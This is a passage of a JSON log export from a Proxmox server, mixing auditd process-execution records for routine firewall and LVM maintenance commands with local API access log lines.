fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.922:59525): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964608614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964608.614:61762): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7939bc8ecda6 a2=80000 a3=0 items=1 ppid=1214 pid=59281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.255:66745): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966279797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965386015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.015:65391): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085916,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.916:59524): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964608610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964608.610:61761): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.255:66744): argc=1 a0=\"date\""} {"@timestamp":1781966279797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965386011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.011:65390): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a45b56e6740 items=0 ppid=1156 pid=62813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964085910,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.910:59523): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964608558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964608.558:61760): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=78b1bdcc0da6 a2=80000 a3=0 items=1 ppid=1214 pid=59280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965705249,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.249:66742): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966279797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965386009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.009:65389): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ee2a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085905,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.905:59522): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964608554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964608.554:61759): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965705241,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.241:66741): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966279797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965386003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.003:65388): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc147920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.896:59521): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964605360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.360:61758): arch=c000003e syscall=59 success=yes exit=0 a0=570f5c92fd30 a1=570f5c93baf0 a2=570f5c909680 a3=5 items=2 ppid=59273 pid=59279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.233:66740): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966278790,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1130"} {"@timestamp":1781965385999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.999:65387): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e4200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085889,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.889:59520): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964605357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.357:61757): arch=c000003e syscall=59 success=yes exit=0 a0=570f38402ac8 a1=7fffa4896400 a2=570f5c909680 a3=570f383e624e items=2 ppid=59273 pid=59275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705227,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.227:66739): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966277657,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965385993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.993:65386): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e4200 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.883:59519): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964605356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.356:61756): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa48963c0 a1=570f5c92b3d0 a2=570f5c909680 a3=5 items=2 ppid=59273 pid=59274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705216,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.216:66738): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966277657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965385987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.987:65385): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085880,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.880:59518): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.352:61754): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965705205,"@rawstring":"node=pve type=EXECVE msg=audit(1781965705.205:66737): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966277657,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965385983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.983:65384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085879,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.879:59517): argc=1 a0=\"date\""} {"@timestamp":1781964605346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.346:61753): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59272 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965704983,"@rawstring":"node=pve type=EXECVE msg=audit(1781965704.983:66736): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966275773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964085876,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.876:59515): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965385974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.974:65383): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.340:61752): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965704961,"@rawstring":"node=pve type=EXECVE msg=audit(1781965704.961:66735): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966275773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964085868,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.868:59514): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965385967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.967:65382): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.333:61751): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965704018,"@rawstring":"node=pve type=EXECVE msg=audit(1781965704.018:66734): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966275773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964085861,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.861:59513): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965385964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.964:65381): arch=c000003e syscall=59 success=yes exit=0 a0=604a4f0abb60 a1=604a4f0b7a30 a2=604a4f085680 a3=5 items=2 ppid=62799 pid=62805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.327:61750): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965704012,"@rawstring":"node=pve type=EXECVE msg=audit(1781965704.012:66731): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966274750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781964085857,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.857:59512): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965385961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.961:65380): arch=c000003e syscall=59 success=yes exit=0 a0=604a1feb0ac8 a1=7ffdb06b0d30 a2=604a4f085680 a3=604a1fe9424e items=2 ppid=62799 pid=62801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.324:61749): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=568a9f7a2740 items=0 ppid=1156 pid=59268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=EXECVE msg=audit(1781965699.003:66728): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966274750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964085850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.850:59511): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965385959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.959:65379): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdb06b0cf0 a1=604a4f0a7200 a2=604a4f085680 a3=5 items=2 ppid=62799 pid=62800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.322:61748): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed5e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=EXECVE msg=audit(1781965698.996:66725): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966273743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964085843,"@rawstring":"node=pve type=EXECVE msg=audit(1781964085.843:59510): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965385955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.955:65377): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.317:61747): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.192:66722): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966273743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964084791,"@rawstring":"node=pve type=EXECVE msg=audit(1781964084.791:59509): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965385949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.949:65376): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.312:61746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695188,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.188:66721): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966271741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964084761,"@rawstring":"node=pve type=EXECVE msg=audit(1781964084.761:59508): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965385941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.941:65375): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.307:61745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d8c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.186:66720): argc=1 a0=\"date\""} {"@timestamp":1781966271741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=EXECVE msg=audit(1781964082.864:59507): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965385937,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.937:65374): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e0120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.302:61744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695182,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.182:66718): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966271741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=EXECVE msg=audit(1781964082.853:59504): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965385929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.929:65373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec8d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964605296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964605.296:61743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fc10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965695174,"@rawstring":"node=pve type=EXECVE msg=audit(1781965695.174:66717): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966271741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964077846,"@rawstring":"node=pve type=EXECVE msg=audit(1781964077.846:59501): argc=4 a0=\"nft\" a1=\"-j\" 